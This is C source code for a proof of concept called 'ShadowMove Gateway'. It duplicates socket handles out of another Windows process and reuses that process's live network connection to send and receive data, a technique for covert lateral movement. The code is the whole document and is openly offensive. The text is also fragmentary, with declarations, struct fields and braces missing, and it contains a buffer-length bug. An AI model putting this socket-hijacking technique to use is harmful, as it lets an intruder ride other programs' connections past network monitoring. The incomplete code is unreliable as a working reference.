// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib,"WS2_32")
// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define SystemHandleInformation 16
#define ObjectNameInformation 1
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
ULONG SystemInformationClass,
ULONG SystemInformationLength,
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE TargetProcessHandle,
ACCESS_MASK DesiredAccess,
typedef NTSTATUS(NTAPI* _NtQueryObject)(
ULONG ObjectInformationClass,
ULONG ObjectInformationLength,
typedef struct _SYSTEM_HANDLE
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _UNICODE_STRING
} UNICODE_STRING, * PUNICODE_STRING;
NonPagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;
typedef struct _OBJECT_NAME_INFORMATION
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName)
return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
PSYSTEM_HANDLE_INFORMATION handleInfo;
DWORD handleInfoSize = 0x10000;
WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
// Open target process with PROCESS_DUP_HANDLE rights
hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
printf("[!] Error: could not open the process!\n");
printf("[+] Handle to process obtained!\n");
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");
// Retrieve handles from the target process
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);
for (DWORD i = 0; i < handleInfo->HandleCount; i++) {
// Check if it is the desired type of handle
if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {
SYSTEM_HANDLE handle = handleInfo->Handles[i];
POBJECT_NAME_INFORMATION objectNameInfo;
NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);
objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);
NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);
// Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)
if (objectNameInfo->Name.Length == 22) {
printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);
// Check if it ends in "Afd"
LPWSTR needle = (LPWSTR)malloc(8);
memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);
if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {
printf("\t[*] \\Device\\Afd found at %d!\n", i);
// Try to duplicate the socket
status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);
printf("\t\t[X] Error duplicating socket!\n");
targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
if (targetSocket != INVALID_SOCKET) {
struct sockaddr_in sockaddr;
len = sizeof(SOCKADDR_IN);
if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) {
if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));
int main(int argc, char** argv) {
printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n");
// smgateway.exe [PID] [IP dst]
/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]);
dwProcessId = strtoul(argv[1], NULL, 10);
dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1);
memcpy(dstIP, argv[2], strlen(dstIP));
wVersionRequested = MAKEWORD(2, 2);
WSAStartup(wVersionRequested, &wsaData);
targetSocket = findTargetSocket(dwProcessId, dstIP);
send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0);
recv(targetSocket, buff, 255, 0);
printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff);